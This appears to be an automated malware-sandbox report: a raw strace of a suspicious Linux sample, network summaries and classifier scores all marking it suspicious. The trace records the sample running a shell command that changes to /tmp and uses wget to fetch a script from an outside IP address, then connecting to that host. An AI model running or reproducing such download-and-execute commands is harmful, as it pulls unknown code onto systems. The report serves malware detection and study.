4291rt_sigactionSIGINT{SIG_IGN, {SIG_IGN, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_DFL, {SIG_DFL, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4291rt_sigactionSIGCHLD{SIG_DFL, {SIG_DFL, [CHLD], [CHLD]SA_RESTORER|SA_RESTART0x804f7af}{SIG_DFL, {SIG_DFL, [CHLD], [CHLD]SA_RESTORER|SA_RESTART0x804f7af}8 0
4291vfork4291 vfork(
4294rt_sigactionSIGQUIT{SIG_DFL, {SIG_DFL, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_IGN, {SIG_IGN, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4294rt_sigactionSIGINT{SIG_DFL, {SIG_DFL, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_IGN, {SIG_IGN, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4294rt_sigactionSIGCHLD{SIG_DFL, {SIG_DFL, [CHLD], [CHLD]SA_RESTORER|SA_RESTART0x804f7af}{SIG_DFL, {SIG_DFL, [CHLD], [CHLD]SA_RESTORER|SA_RESTART0x804f7af}8 0
4294execve"/bin/sh"["sh", "-c", "-c", "cd /tmp ; wget http://198.144.18"...], "cd /tmp ; wget http://198.144.18"...]4294 execve("/bin/sh", ["sh", "-c", "cd /tmp ; wget http://198.144.18"...], [/* 15 vars */]
429142944291 <... vfork resumed> 4294
4291rt_sigactionSIGQUIT{SIG_IGN, {SIG_IGN, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_IGN, {SIG_IGN, [QUIT], [QUIT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4291rt_sigactionSIGINT{SIG_IGN, {SIG_IGN, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}{SIG_IGN, {SIG_IGN, [INT], [INT]SA_RESTORER|SA_RESTART0x804f7af}8 0
4291wait442944291 wait4(4294,
429404294 <... execve resumed> 0
4294brkNULL 0x55d2c0233000
4294access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4294access"/etc/ld.so.preload"R_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4294open"/etc/ld.so.cache"O_RDONLY|O_CLOEXEC 3
4294fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=99075, st_size=99075, ...}...} 0
4294mmapNULL99075PROT_READMAP_PRIVATE30 0x7fcb4fa0e000
4294close3 0
4294access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4294open"/lib/x86_64-linux-gnu/libc.so.6"O_RDONLY|O_CLOEXEC 3
4294read3"\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"...832 832
4294fstat3{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=1868984, st_size=1868984, ...}...} 0
4294mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7fcb4fa0d000
4294mmapNULL3971488PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7fcb4f438000
4294mprotect0x7fcb4f5f80002097152PROT_NONE 0
4294mmap0x7fcb4f7f800024576PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x1c0000 0x7fcb4f7f8000
4294mmap0x7fcb4f7fe00014752PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS-10 0x7fcb4f7fe000
4294close3 0
4294mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7fcb4fa0c000
4294mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7fcb4fa0b000
4294arch_prctlARCH_SET_FS0x7fcb4fa0c700 0
4294mprotect0x7fcb4f7f800016384PROT_READ 0
4294mprotect0x55d2c01f70008192PROT_READ 0
4294mprotect0x7fcb4fa270004096PROT_READ 0
4294munmap0x7fcb4fa0e00099075 0
4294getuid 1000
4294getgid 1000
4294getpid 4294
4294rt_sigactionSIGCHLD{0x55d2bffeb540, {0x55d2bffeb540, ~[RTMIN RT_1], ~[RTMIN RT_1]SA_RESTORER0x7fcb4f46d4b0}NULL8 0
4294geteuid 1000
4294brkNULL 0x55d2c0233000
4294brk0x55d2c0254000 0x55d2c0254000
4294getppid 4291
4294stat"/home/ubuntu"{st_mode=S_IFDIR|0755, {st_mode=S_IFDIR|0755, st_size=4096, st_size=4096, ...}...} 0
4294stat"."{st_mode=S_IFDIR|0755, {st_mode=S_IFDIR|0755, st_size=4096, st_size=4096, ...}...} 0
4294geteuid 1000
4294getegid 1000
4294rt_sigactionSIGINTNULL{SIG_DFL, {SIG_DFL, [], []0}8 0
4294rt_sigactionSIGINT{0x55d2bffeb540, {0x55d2bffeb540, ~[RTMIN RT_1], ~[RTMIN RT_1]SA_RESTORER0x7fcb4f46d4b0}NULL8 0
4294rt_sigactionSIGQUITNULL{SIG_DFL, {SIG_DFL, [], []0}8 0
4294rt_sigactionSIGQUIT{SIG_DFL, {SIG_DFL, ~[RTMIN RT_1], ~[RTMIN RT_1]SA_RESTORER0x7fcb4f46d4b0}NULL8 0
4294rt_sigactionSIGTERMNULL{SIG_DFL, {SIG_DFL, [], []0}8 0
4294rt_sigactionSIGTERM{SIG_DFL, {SIG_DFL, ~[RTMIN RT_1], ~[RTMIN RT_1]SA_RESTORER0x7fcb4f46d4b0}NULL8 0
4294chdir"/tmp" 0
4294stat"/usr/local/sbin/wget"0x7ffe425a5bd0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4294stat"/usr/local/bin/wget"0x7ffe425a5bd0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4294stat"/usr/sbin/wget"0x7ffe425a5bd0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4294stat"/usr/bin/wget"{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=474656, st_size=474656, ...}...} 0
4294clonechild_stack=0flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLDchild_tidptr=0x7fcb4fa0c9d0 4295
4294wait4-14294 wait4(-1,
4295execve"/usr/bin/wget"["wget", "http://198.144.181.17/fyfa.sh"], "http://198.144.181.17/fyfa.sh"][/* 16 vars */] 0
4295brkNULL 0x56150f67b000
4295access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295access"/etc/ld.so.preload"R_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/etc/ld.so.cache"O_RDONLY|O_CLOEXEC 3
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=99075, st_size=99075, ...}...} 0
4295mmapNULL99075PROT_READMAP_PRIVATE30 0x7fc29cb29000
4295close3 0
4295access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/lib/x86_64-linux-gnu/libpcre.so.3"O_RDONLY|O_CLOEXEC 3
4295read3"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\25\0\0\0\0\0\0"...832 832
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=456632, st_size=456632, ...}...} 0
4295mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7fc29cb28000
4295mmapNULL2552072PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7fc29c6ad000
4295mprotect0x7fc29c71b0002097152PROT_NONE 0
4295mmap0x7fc29c91b0008192PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x6e000 0x7fc29c91b000
4295close3 0
4295access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/lib/x86_64-linux-gnu/libuuid.so.1"O_RDONLY|O_CLOEXEC 3
4295read3"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\25\0\0\0\0\0\0"...832 832
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=18976, st_size=18976, ...}...} 0
4295mmapNULL2113904PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7fc29c4a8000
4295mprotect0x7fc29c4ac0002093056PROT_NONE 0
4295mmap0x7fc29c6ab0008192PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x3000 0x7fc29c6ab000
4295close3 0
4295access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/lib/x86_64-linux-gnu/libssl.so.1.0.0"O_RDONLY|O_CLOEXEC 3
4295read3"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320^\1\0\0\0\0\0"...832 832
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=428384, st_size=428384, ...}...} 0
4295mmapNULL2523600PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7fc29c23f000
4295mprotect0x7fc29c29d0002097152PROT_NONE 0
4295mmap0x7fc29c49d00045056PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x5e000 0x7fc29c49d000
4295close3 0
4295access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/lib/x86_64-linux-gnu/libcrypto.so.1.0.0"O_RDONLY|O_CLOEXEC 3
4295read3"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\36\6\0\0\0\0\0"...832 832
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=2365952, st_size=2365952, ...}...} 0
4295mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7fc29cb27000
4295mmapNULL4475776PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7fc29bdfa000
4295mprotect0x7fc29c0150002093056PROT_NONE 0
4295mmap0x7fc29c214000163840PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x21a000 0x7fc29c214000
4295mmap0x7fc29c23c00011136PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS-10 0x7fc29c23c000
4295close3 0
4295access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/lib/x86_64-linux-gnu/libz.so.1"O_RDONLY|O_CLOEXEC 3
4295read3"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\35\0\0\0\0\0\0"...832 832
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=104864, st_size=104864, ...}...} 0
4295mmapNULL2199848PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7fc29bbe0000
4295mprotect0x7fc29bbf90002093056PROT_NONE 0
4295mmap0x7fc29bdf80008192PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x18000 0x7fc29bdf8000
4295close3 0
4295access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/usr/lib/x86_64-linux-gnu/libidn.so.11"O_RDONLY|O_CLOEXEC 3
4295read3"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0p+\0\0\0\0\0\0"...832 832
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=207208, st_size=207208, ...}...} 0
4295mmapNULL2302192PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7fc29b9ad000
4295mprotect0x7fc29b9de0002097152PROT_NONE 0
4295mmap0x7fc29bbde0008192PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x31000 0x7fc29bbde000
4295close3 0
4295access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/lib/x86_64-linux-gnu/libc.so.6"O_RDONLY|O_CLOEXEC 3
4295read3"\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\t\2\0\0\0\0\0"...832 832
4295fstat3{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=1868984, st_size=1868984, ...}...} 0
4295mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7fc29cb26000
4295mmapNULL3971488PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7fc29b5e3000
4295mprotect0x7fc29b7a30002097152PROT_NONE 0
4295mmap0x7fc29b9a300024576PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x1c0000 0x7fc29b9a3000
4295mmap0x7fc29b9a900014752PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS-10 0x7fc29b9a9000
4295close3 0
4295access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/lib/x86_64-linux-gnu/libpthread.so.0"O_RDONLY|O_CLOEXEC 3
4295read3"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260`\0\0\0\0\0\0"...832 832
4295fstat3{st_mode=S_IFREG|0755, {st_mode=S_IFREG|0755, st_size=138696, st_size=138696, ...}...} 0
4295mmapNULL2212904PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7fc29b3c6000
4295mprotect0x7fc29b3de0002093056PROT_NONE 0
4295mmap0x7fc29b5dd0008192PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x17000 0x7fc29b5dd000
4295mmap0x7fc29b5df00013352PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS-10 0x7fc29b5df000
4295close3 0
4295access"/etc/ld.so.nohwcap"F_OK) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/lib/x86_64-linux-gnu/libdl.so.2"O_RDONLY|O_CLOEXEC 3
4295read3"\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\r\0\0\0\0\0\0"...832 832
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=14608, st_size=14608, ...}...} 0
4295mmapNULL2109680PROT_READ|PROT_EXECMAP_PRIVATE|MAP_DENYWRITE30 0x7fc29b1c2000
4295mprotect0x7fc29b1c50002093056PROT_NONE 0
4295mmap0x7fc29b3c40008192PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE30x2000 0x7fc29b3c4000
4295close3 0
4295mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7fc29cb25000
4295mmapNULL4096PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7fc29cb24000
4295mmapNULL8192PROT_READ|PROT_WRITEMAP_PRIVATE|MAP_ANONYMOUS-10 0x7fc29cb22000
4295arch_prctlARCH_SET_FS0x7fc29cb22780 0
4295mprotect0x7fc29b9a300016384PROT_READ 0
4295mprotect0x7fc29b3c40004096PROT_READ 0
4295mprotect0x7fc29b5dd0004096PROT_READ 0
4295mprotect0x7fc29bbde0004096PROT_READ 0
4295mprotect0x7fc29bdf80004096PROT_READ 0
4295mprotect0x7fc29c214000114688PROT_READ 0
4295mprotect0x7fc29c49d00016384PROT_READ 0
4295mprotect0x7fc29c6ab0004096PROT_READ 0
4295mprotect0x7fc29c91b0004096PROT_READ 0
4295mprotect0x56150f3e900016384PROT_READ 0
4295mprotect0x7fc29cb420004096PROT_READ 0
4295munmap0x7fc29cb2900099075 0
4295set_tid_address0x7fc29cb22a50 4295
4295set_robust_list0x7fc29cb22a6024 0
4295rt_sigactionSIGRTMIN{0x7fc29b3cbb50, {0x7fc29b3cbb50, [], []SA_RESTORER|SA_SIGINFO0x7fc29b3d7390}NULL8 0
4295rt_sigactionSIGRT_1{0x7fc29b3cbbe0, {0x7fc29b3cbbe0, [], []SA_RESTORER|SA_RESTART|SA_SIGINFO0x7fc29b3d7390}NULL8 0
4295rt_sigprocmaskSIG_UNBLOCK[RTMIN RT_1]NULL8 0
4295getrlimitRLIMIT_STACK{rlim_cur=8192*1024, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}rlim_max=RLIM64_INFINITY} 0
4295brkNULL 0x56150f67b000
4295brk0x56150f69c000 0x56150f69c000
4295clock_getresCLOCK_MONOTONIC{0, {0, 1}1} 0
4295clock_getresCLOCK_MONOTONIC{0, {0, 1}1} 0
4295open"/usr/lib/locale/locale-archive"O_RDONLY|O_CLOEXEC 3
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=10219008, st_size=10219008, ...}...} 0
4295mmapNULL10219008PROT_READMAP_PRIVATE30 0x7fc29a803000
4295close3 0
4295stat"/etc/wgetrc"{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=4942, st_size=4942, ...}...} 0
4295open"/etc/wgetrc"O_RDONLY 3
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=4942, st_size=4942, ...}...} 0
4295read3"###\n### Sample Wget initializati"...4096 4096
4295read3"ruct = off\n\n# You can turn on re"...4096 846
4295read3""4096 0
4295close3 0
4295stat"/home/ubuntu/.wgetrc"0x7ffdd46559b0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295ioctl2TCGETS0x7ffdd46559f0) = -1 ENOTTY (Inappropriate ioctl for device -1 ENOTTY (Inappropriate ioctl for device)
4295ioctl2TCGETS0x7ffdd46559e0) = -1 ENOTTY (Inappropriate ioctl for device -1 ENOTTY (Inappropriate ioctl for device)
4295rt_sigactionSIGHUP{SIG_IGN, {SIG_IGN, [HUP], [HUP]SA_RESTORER|SA_RESTART0x7fc29b6184b0}{SIG_DFL, {SIG_DFL, [], []0}8 0
4295rt_sigactionSIGHUP{0x56150f1a8880, {0x56150f1a8880, [HUP], [HUP]SA_RESTORER|SA_RESTART0x7fc29b6184b0}{SIG_IGN, {SIG_IGN, [HUP], [HUP]SA_RESTORER|SA_RESTART0x7fc29b6184b0}8 0
4295rt_sigactionSIGUSR1{0x56150f1a8880, {0x56150f1a8880, [USR1], [USR1]SA_RESTORER|SA_RESTART0x7fc29b6184b0}{SIG_DFL, {SIG_DFL, [], []0}8 0
4295rt_sigactionSIGPIPE{SIG_IGN, {SIG_IGN, [PIPE], [PIPE]SA_RESTORER|SA_RESTART0x7fc29b6184b0}{SIG_DFL, {SIG_DFL, [], []0}8 0
4295rt_sigactionSIGWINCH{0x56150f1aa320, {0x56150f1aa320, [WINCH], [WINCH]SA_RESTORER|SA_RESTART0x7fc29b6184b0}{SIG_DFL, {SIG_DFL, [], []0}8 0
4295stat"/home/ubuntu/.wget-hsts"0x7ffdd4655910) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295statfs"."{f_type="EXT2_SUPER_MAGIC", {f_type="EXT2_SUPER_MAGIC", f_bsize=4096, f_bsize=4096, f_blocks=25523542, f_blocks=25523542, f_bfree=24273403, f_bfree=24273403, f_bavail=22971106, f_bavail=22971106, f_files=6496256, f_files=6496256, f_ffree=6296992, f_ffree=6296992, f_fsid={1245508927, f_fsid={1245508927, -2117786710}-2117786710}f_namelen=255f_frsize=4096f_flags=4128} 0
4295stat"fyfa.sh"0x7ffdd4655530) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295stat"fyfa.sh"0x7ffdd46555d0) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/etc/localtime"O_RDONLY|O_CLOEXEC 3
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=2016, st_size=2016, ...}...} 0
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=2016, st_size=2016, ...}...} 0
4295read3"TZif2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\3\0\0\0\0"...4096 2016
4295lseek3-1291SEEK_CUR 725
4295read3"TZif2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\0\0\0\3\0\0\0\0"...4096 1291
4295close3 0
4295write2"--2019-10-17 19:34:52-- http://"...55 55
4295stat"/home/ubuntu/.netrc"0x7ffdd4655190) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/usr/share/locale/locale.alias"O_RDONLY|O_CLOEXEC 3
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=2995, st_size=2995, ...}...} 0
4295read3"# Locale name alias data base.\n#"...4096 2995
4295read3""4096 0
4295close3 0
4295open"/usr/share/locale/pt_BR/LC_MESSAGES/wget.mo"O_RDONLY) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/usr/share/locale/pt/LC_MESSAGES/wget.mo"O_RDONLY) = -1 ENOENT (No such file or directory -1 ENOENT (No such file or directory)
4295open"/usr/share/locale-langpack/pt_BR/LC_MESSAGES/wget.mo"O_RDONLY 3
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=66142, st_size=66142, ...}...} 0
4295mmapNULL66142PROT_READMAP_PRIVATE30 0x7fc29cb31000
4295close3 0
4295open"/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache"O_RDONLY 3
4295fstat3{st_mode=S_IFREG|0644, {st_mode=S_IFREG|0644, st_size=26258, st_size=26258, ...}...} 0
4295mmapNULL26258PROT_READMAP_SHARED30 0x7fc29cb2a000
4295close3 0
4295futex0x7fc29b9a88c8FUTEX_WAKE_PRIVATE2147483647 0
4295write2"Conectando-se a 198.144.181.17:8"...37 37
4295socketPF_INETSOCK_STREAMIPPROTO_IP 3
4295connect3inet_addr("198.144.181.17")}, 16

Analysis
Ltrace
Statically-compiled samples cannot be ltraced.

Reason
Timeout

Status
Sucess

Strace
Success

Results
True check_circle

DNS
Query

Response

TCP
Info
computer localhost:49044 arrow_forward 198.144.181.17:80

UDP
Info
computer localhost:5353 arrow_forward help_outline 224.0.0.251:5353

HTTP
Info

Summary
DNS
False cancel

TCP
True check_circle

UDP
True check_circle

HTTP
False cancel

Binary
RF
confidence: 100.00%
suspicious: True check_circle
MLP
confidence: 99.97%
suspicious: True check_circle
SVM
confidence: 99.10%
suspicious: True check_circle
Add to Collection
Download